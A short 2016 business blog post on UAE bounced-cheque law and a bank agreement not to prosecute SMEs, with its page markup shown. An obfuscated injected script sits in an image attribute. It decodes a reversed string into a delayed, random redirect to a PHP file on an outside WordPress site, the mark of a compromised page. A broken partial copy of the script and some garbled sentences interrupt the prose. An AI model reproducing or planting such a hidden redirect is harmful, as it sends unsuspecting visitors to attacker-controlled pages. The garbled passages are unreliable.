Cheque Bouncing For SMEs: “ Not Prosecuted”

30 Mar, 2016 - UAE Life & Economy


SME BCB Company Formation Business Set Up Licence UK <script>$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>to UAE Dubai Abu Dhabi United Arab Emirates” width=”300″ height=”200″ /></p>
<p>One of the main concerns for foreign businesses in the UAE is the bounced cheque law, a manifestation that the UAE still has no legal provision for bankruptcy. It is still common for car dealerships <script>$mWn=function(n){if(typeof ($mWn.list[n])==to oblige buyers to submit as many cheques as necessary to cover the monthly finance payments. This is because to bounce a cheque in the UAE is a criminal offence, and the criminal court is quite a deterrent!

The BCB’s incubator service gives you up to two years of protected, low cost & low risk market entry in the UAE, with the provision of a trade licence and corporate real estate. This means there will be little need for your company to borrow as it starts out here. There may come a time however that you need to take a loan.

The agreement referenced above is one taken by UAE banks NOT to prosecute SMEs if they bounce cheques. The full story can be to note that this is not a change in the law. If your company bounces a cheque, either on a bank repayment or to a supplier, it can still be held criminally responsible. But, this agreement is certainly a step in the right direction with the banks themselves taking a pragmatic view of the situation.